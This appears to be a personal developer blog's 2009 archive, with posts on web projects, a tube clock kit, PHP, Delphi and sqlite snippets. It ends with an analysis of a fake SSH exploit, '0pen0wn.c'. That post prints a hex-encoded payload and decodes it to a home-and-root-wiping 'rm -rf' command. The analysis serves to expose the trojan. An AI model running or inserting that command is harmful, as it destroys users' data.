knightly

Yearly Archives: 2009

end year notice

Have been working hard this week on kremermakelaars.nl. And managed to finish it right before the end of this year. The old website was one of those left overs from the early 90′s. The only thing missing was a spinning @ sign. But i think i managed to give it a nice visual boost. For the back-end i created s nice CMS to manage all objects and page content. The whole thing is build with ZF, Mysql, and some javascript libraries.

The customer is happy. I’m happy. Now it’s time for some fun!

So that’s all for 2009. I wish everybody a good and happy new year.

A new hobby

A few months ago i got stranded on adda’s website. This stuff looks so interesting. But thinking about building my own gives me sweaty hands. I love to build computers from scratch. But building a motherboard… i don’t see me doing that anytime soon. Even though i have null knowledge of the subject. I decided to give it shot anyway. And ordered the Russian Tube Clock. It arrived pretty fast. But occupied some closet space for at least 3 weeks. I however managed to push my self into building this thing. So here goes.

When you unpack the whole thing and lay it out on a table it looks pretty impressive. And at this point i got the feeling i would never get this to work. But thank god for the internet. I quickly found some nice hand held guides to guide me through it.

IMG_0550

I will not bother you with all specifics. because i can’t :) And for that you should read here and here Or just order the kit and give it a shot. it’s great. So after burning my self i managed to get the first set of components mounted properly on top of the PCB.

IMG_0555

The only problem i encountered (and it spoiled most of the project) was the soldering iron. Which was a mess to start of with. And it was way to big for this delicate work. The result was my soldering didn’t look that proper as you can see in the image below.

IMG_0557

The hardest part was to get the tube mounted correctly. One end of the tube is a spring of wires that need to be attached to a jack on the smaller PCB. It’s a time consuming and tedious job to do. But i think i managed. Although not all wires are as straight as they should have been.

img_0611

It finally starts to look like something. After hooking it up to some power and running some tests. I was ready to build the outer casing.

img_0609

The outer casing is a simple design. Done in Plexiglas. It looks simple. But it was a struggle to get the thing assembled.

IMG_0563

After my struggle with the casing i switched the tube on. And was greeted by a nice blue/greenish color and a beep. The color is a bit different from what is shown on the main site. But that has something to do with the tubes i read. The brightness is adjustable so that’s no problem. As you can see i still miss one time delimiter. And the menu is still not function 100%. But the clock works. And i can set the alarm.

img_0608

I had so much fun building this thing. that i ordered a new soldering iron. And will be doing a new attempt soon!

A new adventure part II

This post is a recap of a post i made earlier this month. Normally i would leave it as it is. But i wasn’t really happy with the outcome. And it didn’t really reflect the current situation. So here goes.

As the technological challenge in my current day to day job started to decline. I started to think this was not the right position for me. So i decided it was time to search for something new. And at that time i could not find anything interesting that didn’t include relocating my self to an other part of this world. This left me with a hard choice to make. But i left AddMissions anyway. With a good feeling though. I had have a great year there. Now was just time for a change.

All that was about two months ago. And for the past time i have been doing some freelance projects to pay my bills. And although i enjoyed the time working from home. I feel it is time again to go and search for a new opportunity. I learned a lot from the past two months but freelance work is not something i tend to do full time. I need people around me. Even though i don’t talk that much while i work :)

I have some things cooking at the moment. Let’s see what the new year has to offer.

0x.vc URL shortener service

Having a hard time getting to sleep tonight. And was browsing my domain list. when i realized i still have this very short domain name that is just sitting there collecting dust. And since these URl shortener services are so hot lately i decided to roll my own.

So three hours, a bit of code and a short domain name later i present : 0x.vc (it’s shorter) It’s probably still full of holes and prone to XSS attacks. So be careful!

The URL shortening service is offline!

Firefox’s weird black borders

A few weeks a go i was working on a new blog to replace the current WordPress software. The last two weeks however i had no time to work on it. So last night when i couldn’t sleep i loaded the site from my SVn repo. And when i opened it in firefox i was suprised to see some weird black borders around some page elements. After checking my CSS i confirmed it was not created by any CSS on the page.

blackline

After an hour i got frustrated and went to bed. So this morning i was looking at it. An noticed a horizontal scrollbar. That shouldn’t be there i thought. And when i looked closy at the images on the page they looked correlated. It was like the page was zoomed in. Then it hit me. Firefox has a new zoom function. So after hitting

View > Zoom > Reset

The page was back to normal. It’s minor issue. But maybe it will help somebody from going crazy :)

SVN’s post-commit script in PHP

I was kinda bored yesterday. And was poking around the SVN hooks scripts. When i noticed the post-commit script i was using was written in Python. Nothing wrong with that. I just wondered how hard it would be to do the same in PHP. So i came up with a little test. Which at this moment lacks error checking and just looks plain ugly. But it does the job. and i only needed a working PHP CLI executable to make it work.

First we set the email address and the location of svnlook.

#!/usr/bin/php
<?php
error_reporting(E_ALL | E_STRICT); 

$address = 'some email address';
$svnlook = '/usr/bin/svnlook';

Use the argv array to get to the commandline parameters and build up a SVN statement to get some basic info.

$repository = $_SERVER['argv'][1];
$revision = $_SERVER['argv'][2];

$cmdInfo = "${svnlook} info ${repository} -r ${revision}";

$output = array();
exec($cmdInfo, $output);

$author = $output[0];
$date = $output[1];
$comment = $output[3];

Now let’s get the changes made in this revisions.

$output = array();
$cmdChanges ="${svnlook} diff ${repository} -r ${revision}";
exec($cmdChanges, $output);

Once we have the diff contents we can loop through the lines and use some simple regex to highlight the changes. I’ve added a bit more code to add pre tags for a better visual effect.

$patch = '<pre class="codeBlock">';
$lineCount = count($output);
for ($x=0; $x<=$lineCount; $x++) {

    if ($x > 0 && strstr($output[$x], 'Modified:')) {
        $patch .= '</pre><pre class="codeBlock">';
    }

    $textColor = 'normal';
    if (preg_match('/^\+/', $output[$x])) {
        $textColor = 'positive';
    }
    else if (preg_match('/^-/', $output[$x])) {
        $textColor = 'negative';
    }

    $patch .= '<span class="' . $textColor . '">' . htmlentities($output[$x]) . "</span><br>";

    if ($x == $lineCount) {
        $patch .= "</pre>";
    }
}

Now we can build the body for the email that will be generated.

$body .= "Author : " . $author . "<br>";
$body .= "Date : " . $date . "<br>";
$body .= "Comment : " . $comment . "<br><br>";

$body .= $patch;

Add a MIME header so my mail client displays it properly. And send it of through the build in mail() function.

$headers  = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

$bodyHTML = file_get_contents("/path/to/some/HTML/template");
$bodyHTML = str_replace('{EMAIL}', $body, $bodyHTML);

mail($address, 'SVN post-commit', $bodyHTML, $headers);

Writing objects into memory for usage in another application

New programming languages like .NET has serialization to send a object from the one to another. In delphi 7 you have to write your own serialization. One of the ways i’ve tried to use is to copy complete objects into memory and restructure the same object in a completely other application. I did this by using FileMappings and Mutexes.  A sample of that code you can find below. Bare in mind that this has been written for my own custom objects but feel free to enhance it.

The code used for this;


unit uMemoryMappings;

interface

uses Classes, Windows, Messages, ShellApi, oObjects, SysUtils, uNetworkResources;

//just a demo object for this code sample
//
type TDemoObject = class(TObject)
private
FIndex : Integer;
FName : String;
public
{}
published
property Index : Integer read FIndex write FIndex;
property Name : String read FName write FName;
end;

//Structure cotnaining the object(s) you want to transfer
//
type TMemoryObject = record
myDemoObject : TDemoObject;
end;

//MXNaming should be unique. Using a GUID ensures the name will be unique.
//
const
_Name   : String = '{CE8DEDB3-638E-475A-870C-DE5F935CB4A5}';
_MXName : String = '{E699BFEA-1C49-49B2-8E9C-CC569E3C2FED}';

var
FileMapping : THandle;
MXHandle    : THandle;

oMemoryObj  : TMemoryObject;

type
PMemoryObj = ^TMemoryObject;

procedure SaveData(rObject : TMemoryObject );
function ReadData : TMemoryObject;
procedure CloseMemoryObjectFile;
procedure CreateMemoryObjectFile;

implementation

//We simply create a file in memory containing the object. Because we might want to use it in a threading model we use
//Mutexes to be sure it won't be overwritten by other threads.
procedure CreateMemoryObjectFile;
begin
FileMapping := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(TMemoryObject), PChar(_Name));
if FileMapping <> 0 then
begin
if GetLastError = ERROR_ALREADY_EXISTS then
begin
CloseHandle(FileMapping);
FileMapping := OpenFileMapping(FILE_MAP_ALL_ACCESS, False, PChar(_Name));
end;
end;

if (FileMapping <> 0) then
MXHandle := CreateMutex(nil, False, PChar(_MXName));

if (FileMapping = 0) or (MXHandle = 0) then
Raise Exception.Create('Error allocating memory');
end;

//Closes the Handles and mutexes
procedure CloseMemoryObjectFile;
begin
if FileMapping <> 0 then
CloseHandle(FileMapping);
if MXHandle <> 0 then
CloseHandle(MXHandle);
end;

//Writes the object to the registered memory block.
procedure SaveData(rObject : TMemoryObject );
var
oData : PMemoryObj;
begin
WaitForSingleObject(MXHandle, INFINITE);
try
oData := MapViewOfFile(FileMapping, FILE_MAP_WRITE, 0, 0, SizeOf(TMemoryObject));
try
oData^.myDemoObject := rObject.myDemoObject;
finally
UnmapViewOfFile(oData);
end;
finally
ReleaseMutex(MXHandle);
end;
end;

//Reads the data stored in the memory block.
function ReadData : TMemoryObject;
var
oData : PMemoryObj;
begin
WaitForSingleObject(MXHandle, INFINITE);
try
oData := MapViewOfFile(FileMapping, FILE_MAP_READ, 0, 0, SizeOf(TMemoryObject));
try
if Assigned(oData^.myDemoObject) then Result.myDemoObject := oData^.myDemoObject;
finally
UnmapViewOfFile(oData);
end;
finally
ReleaseMutex(MXHandle);
end;
end;

end.

Mayflower’s Zend Framework Poster

Two or three weeks ago i was reading post from Bjoern Schotte. That the guys at Mayflower created a poster for Zend Framework. Seems they really love it there. And since i am a big fan myself. I send Bjoern an email to ask for an English version. If available. So some time passed. And i completely forgot about it. Until i came home yesterday and found my own personal copy of the Mayflower Zend Framework poster in the mail.

mayflower-zf-map

It’s a cool poster. All the most common used components are there. A nice reference to have. And a great piece of promotion material for the framework it self. Now i just need to find a good spot for it. It will be the second A0 poster hanging here. And probably not the last one. Since mister PHP security himself Stefan Esser from SektionEins is working on a PHP security poster. If you would like your own copy. Send Bjoern an email.

Thanks guys.

Change columns data type in sqlite

My coworker Chris yesterday asked me how to change a column data type in a database. He wanted to change the data type from varchar to text. So my first reaction was to shout ALTER TABLE. But i didn’t realize he was using sqlite at the moment. So after reading the docs for a while. We came to the conclusion sqlite does support the ALTER statement. But it is very limited compared to say MySQL. And it doesn’t provide the option to alter the data types or column names.

So how should you change a column data type in an sqlite database? Well as far as i can see there is not really a simple solution. But here goes for our work around.

Let’s start off by creating a test database:

sqlite3 test.db “create table sync (id INTEGER PRIMARY KEY, data VARCHAR, num double, dateIn DATE);”

And insert some test data:

sqlite3 test.db “insert into sync (data, num) values (‘This is sampledata’, 3);”
sqlite3 test.db “insert into sync (data, num) values (‘More sample data’, 6);”
sqlite3 test.db “insert into sync (data, num) values (‘And a little more’, 9);”

Now comes the trick. We first create a temporary table and populate it with the data from the table we are going to alter.

sqlite3 test.db “create table temp_table as select * from sync;”

Drop the database to alter. And after that recreate it again. But this time with the changes we wanted to make. So we change the VARCHAR field to TEXT.

sqlite3 test.db “drop table sync;”
sqlite3 test.db “create table sync (id INTEGER PRIMARY KEY, data TEXT, num double, dateIn DATE);”

The only thing left now is to populate the new database with the data from the temporary table. And finally drop the temporary table.

sqlite3 test.db “insert into sync select * from temp_table;”
sqlite3 test.db “drop table temp_table;”

There must be a cleaner way to do this. But this worked for us!

0pen0wn.c what a joke

So there have been a lot of rumors lately about some remote SSH exploit. And to throw a bit of fuel on the fire some hacker / group have released what they call an exploit. This piece of code is just hilarious. At a first glance it looks like a real exploit. But when you take the time to decode the HEX blocks. It will become obvious this is not what it seems to be.

there are three blocks with HEX characters. The last two transform into some perl scripts that seem to make contact with an IRC server. This code seems to be bogus. The first and smallest HEX block is interesting though.

\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f
\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26

When decoded back to ASCII characters. This reads:

rm -rf ~ /* 2> /dev/null &

The code used for the decoding is a simple PHP script:

foreach (explode('\x', $str) as $char) echo chr(hexdec($char);